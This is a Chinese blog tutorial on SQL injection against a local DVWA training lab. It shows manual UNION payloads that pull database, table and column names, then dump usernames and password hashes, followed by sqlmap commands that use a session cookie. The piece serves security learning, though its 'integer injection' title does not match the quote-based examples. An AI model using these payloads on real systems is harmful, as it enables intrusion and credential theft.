SQL注入之整数型注入、工具注入SQLmap

什么是sql注入可以参考我以前的文章:https://carrotst.github.io/2023/09/16/sql%E6%B3%A8%E5%85%A5%E6%BA%90%E4%BB%A3%E7%A0%81-%E6%B5%8B%E8%AF%95%E4%B8%8E%E5%88%86%E6%9E%90%E7%AC%AC%E4%B8%80%E8%8A%82/

准备工作

phpstudy、dvwa、kali linux

先把dvwa环境搭起来,可以参考网上的文章!!!

实验前先把 难度改成 low

什么是联合注入

1
select 表名 from 列名 union select 表名 from 列名 where 字段ID;

判断字段数

1
id=1' order by 1 #

没有报错说明存在有这个字段

直到报错就可以停了

1 2 都是没有报错,说明存在 1 2字段;

那就直接可以查看库名了

mysql注释: # –+

不同版本都不一样

常用的sql语句

  • user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号
  • version() 返回当前数据库的版本
  • database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到
  • group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串
  • @@datadir 数据库路径
  • @@version_compile_os 操作系统版本

爆库名

select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。

1
id=1' union select 1,database()#

sql版本号

1
1' union select version(),database()#

解释一下 为啥 有 ‘ # 这些

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

看一下源代码

我们加了“ ‘ “ “ # “ 后——-#注释sql语句后面的内容

在id=1’ 后加上 “#” 即注释符号可将注释符号后的语句全部注释,这样我们就可以在注释符号前写入sql语句

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1'union select version(),database()#';";

如果里面是双引号那么:

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1"union select version(),database()#";';

知识点:

information_schema是mysql自带的库,记录了该数据库所有的表名和字段名

1
2
3
4
5
6
7
8
9
schemata ----所有的数据库名
schemata_name ---数据库名字
tables ----所有表名
table_schema -----表所属数据库名
table_name ----表的名字
columns ---所有字段的名字
table_schema ---字段所属数据库的名字
table_name ---字段所属表名
column_name ---字段名

获取数据库名

1
2
1' union select 1,database() from information_schema.schemata#
id=1' union select 1,database()# 两个都是也一样的 上面只是直观看出

获取表名

1
1' union select 1,table_name from information_schema.tables where table_schema="dvwa"#

获取列名

1
1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

看到了两个 关键的user password 就是我们要查看的

获取数据

1
1' union select 1,group_concat(user,password) from users#

可以隔开

1
1' union select 1,group_concat(user,0x3a,password) from users#

用户名 :admin

密码:5f4dcc3b5aa765d61d8327deb882cf99(password)

工具注入

这个就简单了,直接使用sqlmap 梭哈!!

必备知识点:

–dbs 查看所有的数据库
-D 指定数据库
-T –tables 查看数据表
-C –dump 查看字段(用逗号隔开)
1
获取cookie:PHPSESSID=lc1met8rfiqmjrq3orpab5cpic; security=low

获取数据库名

1
sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --dbs --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch

获取表名

1
sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa --tables

获取列名

1
sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa -T users --columns 

获取数据

1
sqlmap -u '10.83.0.160:81/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="PHPSESSID=lc1met8rfiqmjrq3orpab5cpic;security=low" --batch -D dvwa -T users -C "user,password" --dump

结束!!!